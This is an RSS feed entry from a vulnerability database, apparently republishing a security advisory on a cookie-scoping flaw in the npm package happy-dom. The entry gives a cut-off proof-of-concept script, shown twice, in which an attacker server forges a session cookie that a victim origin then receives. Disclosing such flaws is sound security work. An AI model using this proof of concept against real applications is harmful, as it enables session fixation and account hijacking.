<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 30 Oct 2026 11:24:13 +0000</lastBuildDate>
    <item>
      <title>GHSA-5fpq-26gf-qwcr — Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies</title>
      <link>https://db.gcve.eu/vuln/ghsa-5fpq-26gf-qwcr</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: happy-dom&lt;/p&gt;
&lt;p&gt;### Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.&lt;/p&gt;
&lt;p&gt;### Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Run:
```bash
node poc-happydom-cookie-domain.js
```&lt;/p&gt;
&lt;p&gt;Full proof-of-concept source (poc-happydom-cookie-domain.js):
```js
// PoC: happy-dom cookie-domain scoping gap -&amp;gt; cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -&amp;gt; attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -&amp;gt; happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -&amp;gt; app&amp;#39;s same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day &amp;amp;&amp;amp; node poc/poc-happydom-cookie-domain.js
const http = require(&amp;#39;http&amp;#39;);
const { Window } = require(&amp;#39;happy-dom&amp;#39;);&lt;/p&gt;
&lt;p&gt;const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost&lt;/p&gt;
&lt;p&gt;let victimReceivedCookies = [];&lt;/p&gt;
&lt;p&gt;let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Pat…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: happy-dom&lt;/p&gt;
&lt;p&gt;### Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.&lt;/p&gt;
&lt;p&gt;### Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Run:
```bash
node poc-happydom-cookie-domain.js
```&lt;/p&gt;
&lt;p&gt;Full proof-of-concept source (poc-happydom-cookie-domain.js):
```js
// PoC: happy-dom cookie-domain scoping gap -&amp;gt; cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -&amp;gt; attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -&amp;gt; happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -&amp;gt; app&amp;#39;s same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day &amp;amp;&amp;amp; node poc/poc-happydom-cookie-domain.js
const http = require(&amp;#39;http&amp;#39;);
const { Window } = require(&amp;#39;happy-dom&amp;#39;);&lt;/p&gt;
&lt;p&gt;const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost&lt;/p&gt;
&lt;p&gt;let victimReceivedCookies = [];&lt;/p&gt;
&lt;p&gt;let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Pat…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-5fpq-26gf-qwcr</guid>
    </item>
  </channel>
</rss>
